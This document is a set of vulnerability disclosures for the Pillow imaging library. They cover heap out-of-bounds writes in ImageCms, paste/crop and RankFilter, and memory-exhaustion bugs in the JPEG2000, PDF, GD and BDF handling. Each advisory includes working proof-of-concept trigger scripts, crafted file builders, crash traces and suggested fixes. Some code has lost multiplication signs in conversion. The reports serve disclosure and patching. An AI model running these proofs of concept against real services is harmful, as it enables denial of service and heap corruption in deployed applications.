Pillow: Controlled heap out-of-bounds write in Pillow `ImageCmsTransform.apply()` via output mode mismatch
Summary
Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.
For example, a transform built as RGBA -> RGBA can be applied to an L output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.
Details
src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller
supplied imOut:
``python
def apply(self, im, imOut=None):
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
`
If imOut is provided, Pillow does not check:
`text
im.mode == self.input_mode
imOut.mode == self.output_mode
`
The C wrapper in src/_imagingcms.c unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:
`c
static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
return -1;
}
for (i = 0; i < im->ysize; i++) {
cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
}
pyCMScopyAux(hTransform, imOut, im);
return 0;
}
`
findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS
TYPE_RGBA_8, which writes 4 bytes per pixel:
`c
case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
return TYPE_RGBA_8;
`
So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 width
bytes to each output row. If the supplied output image is mode L, Pillow only
allocated 1 width bytes for that row.
For width 4096:
`text
destination row allocation: 4096 bytes
LittleCMS write size: 16384 bytes
overflow: ~12288 bytes past the row
`
The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, apply() returned to Python and printed after; glibc
detected the corrupted heap later during cleanup.
PoC
Tiny heap corruption trigger:
`python
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)
print("before", flush=True)
transform.apply(im, out)
print("after")
`
Observed locally on Pillow 12.3.0.dev0:
`text
before
after
free(): invalid next size (normal)
Aborted (core dumped)
`
Controlled overwrite evidence PoC:
`python
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)
transform.apply(im, out)
`
Run under gdb:
`bash
gdb -q --batch -ex run -ex bt --args \
python3 b022_controlled.py
`
Observed on Pillow 12.3.0.dev0:
`text
Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152
`
0x4443424144434241 is the attacker-controlled source pixel pattern
b"ABCDABCD" interpreted as a little-endian pointer-sized value.
Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of
0x403020104030201, matching the repeated pixel bytes.
Impact
This is a heap out-of-bounds write in Pillow's native ImageCms extension,
reachable through public API.
Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
ImageCmsTransform.apply(). The source image pixels influence the bytes written
out of bounds.
Suggested fix
Validate modes before calling into the native transform:
`python
def apply(self, im, imOut=None):
if im.mode != self.input_mode:
raise ValueError("input mode mismatch")
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
elif imOut.mode != self.output_mode:
raise ValueError("output mode mismatch")
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOut
`
The C extension should also defensively reject mismatched image modes before
calling cmsDoTransform()`.
Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service
Summary
src/libImaging/Jpeg2KDecode.c:853 accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tile_bytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.
Details
Location: src/libImaging/Jpeg2KDecode.c:853
Root cause: total_component_width is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive tile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles.
Dangerous operation: tile_bytes is promoted into tile_info.data_size, then state->buffer is grown with realloc at src/libImaging/Jpeg2KDecode.c:876.
Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal Image.open(...).load() decoding.
PoC
The attached helper script and testcase were used:
exercise_j2k_tile_realloc.zip
Generate the testcase:
``bash
pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \
--size 3664 --tile 1832
`
Expected geometry from the helper:
image size: 3664 x 3664
mode: RGBA
tile size: 1832 x 1832 (2x2 tiles)
image_bytes=53699584
uncapped RSS observed:
vulnerable build: maxrss_kb=180264
fixed comparison build: maxrss_kb=138404
Load it with the current vulnerable build:
`bash
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2
`
Load it again under a 160 MB address-space cap:
`bash
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160
``
Impact
Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.
Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()
Summary
PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.
Details
PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():
``python
PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
def decode(self) -> bytes:
try:
filter = self.dictionary[b"Filter"]
except KeyError:
return self.buf
if filter == b"FlateDecode":
try:
expected_length = self.dictionary[b"DL"]
except KeyError:
expected_length = self.dictionary[b"Length"]
return zlib.decompress(self.buf, bufsize=int(expected_length))
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# bufsize is an initial buffer hint, NOT a maximum size limit.
# zlib.decompress() allocates as much memory as needed regardless.
`
From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.
PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.
Confirmed reachable path:
`python
with PdfParser.PdfParser("evil.pdf") as pdf:
stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
data = stream_obj.decode() # ← OOM here
`
PoC
`python
import zlib, tempfile, os, time
from PIL import PdfParser
Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' (EXPAND_MB 1_000_000)
compressed = zlib.compress(raw, level=9) # ~97 KB
buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'
print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")
with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
f.write(buf); tmpname = f.name
with PdfParser.PdfParser(tmpname) as pdf:
obj, _ = pdf.get_value(pdf.buf, o3)
t = time.time()
decoded = obj.decode()
print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")
os.unlink(tmpname)
`
Actual output (Pillow 12.1.1, Python 3.12):
`
PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s
`
Measured expansion:
| PDF file size | Memory allocated | Ratio | Wall time |
|---|---|---|---|
| 10 KB | 10 MB | 1,026× | 0.024 s |
| 95 KB | 100 MB | 1,028× | 0.265 s |
| 475 KB | 500 MB | 1,028× | 1.279 s |
| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |
Impact
This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.
Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.
Suggested fix:
`python
MAX_DECOMPRESS_BYTES = 200 1024 1024 # 200 MB cap
def decode(self) -> bytes:
...
if filter == b"FlateDecode":
...
result = zlib.decompress(self.buf, bufsize=int(expected_length))
if len(result) > MAX_DECOMPRESS_BYTES:
msg = "Decompressed stream exceeds maximum allowed size"
raise ValueError(msg)
return result
``
Pillow: Heap out-of-bounds write `Image.paste()` / `Image.crop()` via signed coordinate overflow
Summary
Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
write when given coordinates near the signed 32-bit integer limits. In 4-byte
pixel modes such as RGBA, this becomes a controlled backward heap underwrite:
for a source image of width W, Pillow writes 4 W attacker-controlled bytes
starting 4 W bytes before the destination row pointer. With successful large
image allocation, the theoretical upper bound is ~2 GiB backwards from
the destination row.
Minimal public API trigger:
``python
from PIL import Image
INT_MIN = -(1 << 31)
src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))
`
The same root cause is also reachable through Image.crop() and
Image.alpha_composite(). No private API, ctypes, custom Python object, or
malformed image file is needed.
This has been confirmed as an ASAN heap-buffer-overflow write. On normal
non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
double free or corruption (out)
Details
src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native
ImagingCore.paste() method:
`python
self.im.paste(source, box)
`
src/_imaging.c:_paste() parses the four Python coordinates into signed int
values and calls ImagingPaste():
`c
int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);
`
src/libImaging/Paste.c:ImagingPaste() computes and clips the region using
signed int arithmetic:
`c
xsize = dx1 - dx0;
ysize = dy1 - dy0;
if (dx0 + xsize > imOut->xsize) {
xsize = imOut->xsize - dx0;
}
`
With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2.
That matches the 2-pixel source image, so the size check passes. The later
dx0 + xsize clip check wraps around and does not reject the out-of-bounds
destination.
For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by
pixelsize:
`c
dx = pixelsize;
xsize = pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);
`
For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the
destination row allocation.
The primitive scales with the attacker-controlled source width:
`text
source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)
C destination offset = -4 W
C memcpy size = 4 W
write range = [row_start - 4W, row_start)
`
Examples for RGBA:
`text
W = 2 -> writes 8 bytes before the row
W = 1024 -> writes 4096 bytes before the row
W = 65536 -> writes 256 KiB before the row
W = 1000000 -> writes about 4 MiB before the row
`
Pillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.
Two other documented APIs reach the same sink:
`python
Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))
`
Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().
PoC
The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.
`python
#!/usr/bin/env python3
import argparse
import sys
from PIL import Image
INT_MIN = -(1 << 31)
def rgba_pattern(width):
out = bytearray()
for i in range(width):
out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
return bytes(out)
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"variant",
choices=("paste", "crop", "alpha"),
nargs="?",
default="paste",
)
parser.add_argument("-w", "--width", type=int, default=2)
args = parser.parse_args()
width = args.width
src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))
if args.variant == "paste":
box = ((1 << 31) - width, 0, INT_MIN, 1)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=paste box={box}")
print(f"expected C dst offset={-4 width}, write_size={4 width}")
sys.stdout.flush()
dst.paste(src, box)
print("paste returned; first row:", dst.tobytes().hex())
elif args.variant == "crop":
left = INT_MIN + width
box = (left, 0, left + width, 1)
print(f"variant=crop box={box}")
sys.stdout.flush()
out = src.crop(box)
print("crop returned; output:", out.tobytes().hex())
else:
dest = (INT_MIN + width, 0)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=alpha dest={dest}")
sys.stdout.flush()
dst.alpha_composite(src, dest=dest)
print("alpha_composite returned; first row:", dst.tobytes().hex())
sys.stdout.flush()
if __name__ == "__main__":
main()
`
Run against an ASAN build:
`bash
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py paste
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py crop
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py alpha
`
Observed ASAN signature for the direct Image.paste() path:
`text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region
`
On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:
`text
double free or corruption (out)
Aborted (core dumped)
`
Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:
`text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090
`
Suggested fix
Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
arithmetic or a wider type before calculating widths and clipped endpoints.
For example, reject boxes whose endpoint subtraction cannot be represented
cleanly, and clip using non-overflowing comparisons:
`c
int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;
if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
return ImagingError_ValueError("bad box");
}
`
ImagingCrop() should receive the same treatment for sx1 - sx0,
dx0 = -sx0, and dx1 = imIn->xsize - sx0.
Impact
This is a heap out-of-bounds write in Pillow's native C extension, reachable
through documented public image APIs.
Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct Image.paste() variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For RGBA, the write is a backward heap underwrite whose
offset and length are both 4 * source_width`, bounded in practice by successful
image allocation and heap layout.
Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`
Summary
Pillow's public rank-filter API can trigger a native heap out-of-bounds write
when given a very large odd filter size.
Minimal public API trigger:
``python
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
`
ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2)
before rank-filter size validation. With size = 4294967295, the
expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes
the output dimensions with unchecked signed int arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.
This is reachable through documented public classes (RankFilter,
MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom
Python object is needed.
Details
Current src/PIL/ImageFilter.py:
`python
class RankFilter(Filter):
def filter(self, image):
if image.mode == "P":
msg = "cannot filter palette images"
raise ValueError(msg)
image = image.expand(self.size // 2, self.size // 2)
return image.rankfilter(self.size, self.rank)
`
The expand() call is made before image.rankfilter(...).
Current src/libImaging/Filter.c:ImagingExpand() does not check output-size
overflow:
`c
if (xmargin < 0 && ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
imOut = ImagingNewDirty(
imIn->mode, imIn->xsize + 2 xmargin, imIn->ysize + 2 ymargin
);
`
For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size
wraps to 1x1 on tested builds. The following loop still uses the huge margin:
`c
for (x = 0; x < xmargin; x++) {
imOut->image[yout][x] = imIn->image[yin][0];
}
`
src/libImaging/RankFilter.c does contain checks that would reject this size:
`c
if (!(size & 1)) {
return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
return (Imaging)ImagingError_ValueError("filter size too large");
}
`
But those checks are reached only after RankFilter.filter() has already
called image.expand(...).
Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.
PoC
Minimal ASAN crash PoC:
`python
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))
`
Observed on local Pillow 12.3.0.dev0 ASAN target:
`text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation
`
4-byte write variant with source pixel loaded from normal image bytes:
`python
from io import BytesIO
from PIL import Image, ImageFilter
SIZE = 4294967295
PIXEL = 0x41424344
src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")
im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL
im.filter(ImageFilter.MedianFilter(SIZE))
`
Observed ASAN signature:
`text
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation
`
Version checks:
`text
Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected
`
Impact
It is a heap out-of-bounds write in Pillow's native C extension, reachable
through public image-filter classes.
Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode "I" images.
Possible fix
Validate the rank-filter size before calling image.expand(...), and harden
ImagingExpand() against invalid margins and overflow:
`c
if (xmargin < 0 || ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
ymargin > (INT_MAX - imIn->ysize) / 2) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
``
Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`
Description
PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.
Vulnerable code (PIL/GdImageFile.py lines 50–61):
``python
def _open(self) -> None:
s = self.fp.read(1037)
if i16(s) not in [65534, 65535]:
raise SyntaxError("Not a valid GD 2.x .gd file")
self._mode = "P"
self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each
# NO _decompression_bomb_check() call here ←
...
self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]
`
When load() is subsequently called on the returned image object:
`python
load() → load_prepare() → Image.core.new("P", (65535, 65535))
↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this
`
Dimension arithmetic:
| Field | Value |
|---|---|
| Maximum width from header | 65,535 (unsigned 16-bit) |
| Maximum height from header | 65,535 (unsigned 16-bit) |
| Maximum pixel count | 65,535 × 65,535 = 4,294,836,225 |
| DecompressionBombError threshold | 178,956,970 (2 × MAX_IMAGE_PIXELS) |
| Overshoot ratio | 24× above DecompressionBombError threshold |
| Memory at max dimensions | ≈ 4.3 GB (palette-mode: 1 byte/pixel) |
| Minimum attack file size | 1,037 bytes (header only — no pixel data needed) |
Comparison with safe sibling plugin (WalImageFile):
WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:
`python
PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size) # ← present
`
GdImageFile was never updated to match, leaving a gap in protection.
Steps to reproduce
Proof of Concept script:
`python
#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image
Build minimal 1037-byte GD 2.x palette-mode header:
sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic
w = struct.pack(">H", 65535) # max width
h = struct.pack(">H", 65535) # max height
true_color = b"\x00" # 0 = palette mode
tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency
colors_used = b"\x00\x00"
palette_data = b"\x00" 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037
Confirm: standard Image.open() path BLOCKS this size
try:
Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
print(f"[BLOCKED] Image.open() path: {e}")
Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked")
Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
img.load()
except OSError:
print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted")
print(f"\n[MATH] {65535 65535:,} pixels = {6553565535 / (Image.MAX_IMAGE_PIXELS2):.1f}× error threshold")
print(f"[MATH] Attack file: 1,037 bytes only")
`
Expected output:
`
[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted
[MATH] 4,294,836,225 pixels = 24.0× error threshold
[MATH] Attack file: 1,037 bytes only
`
Verified live on Pillow 12.2.0.
Two attack paths:
| Path | File size | Effect |
|---|---|---|
| Transient (header only) | 1,037 bytes | load_prepare() attempts 4.3 GB C allocation → OSError after spike |
| Persistent (full pixel data) | ~4.3 GB | load() completes, 4.3 GB stays in memory for object lifetime |
For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.
Real-world scenario:
`python
from PIL import GdImageFile
Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check
img.load() # triggers 4.3 GB C-heap allocation
`
Impact
Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
Confidentiality: None
Integrity: None
Authentication required: No — any public endpoint accepting image uploads is affected
User interaction: None
Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.
Confirmed unpatched on python-pillow/Pillow main` branch as of 2026-06-08.
Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
Summary
PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.
Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.
Vulnerable code (PIL/BdfFontFile.py lines 84–88):
``python
width, height from attacker-controlled "BBX width height x y" line
try:
im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
# TRIGGERED when BITMAP section is empty (zero hex lines)
im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()!
# ^ This image is stored in self.glyph[ch] — persists in memory
`
Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.
Steps to reproduce
Minimal malicious BDF file (270 bytes):
`
STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT
`
Proof of Concept script:
`python
#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")
from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold
Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
_decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")
Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()
print(f"[] BDF file size : {len(bdf)} bytes")
print(f"[] Glyph size : {W} x {H} = {WH:,} pixels")
print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)")
BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!
print(f"[!] CONFIRMED: BdfFontFile loaded silently — {WH//8//10242} MB allocated")
print(f" Image.open() path would have raised DecompressionBombError")
`
Expected output:*
`
[Image.open() path] BLOCKED by DecompressionBombError
[] BDF file size : 270 bytes
[] Glyph size : 20000 x 20000 = 400,000,000 pixels
[] C-heap target : 47 MB (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
Image.open() path would have raised DecompressionBombError
`
Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.
Impact
Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
Confidentiality: None
Integrity: None
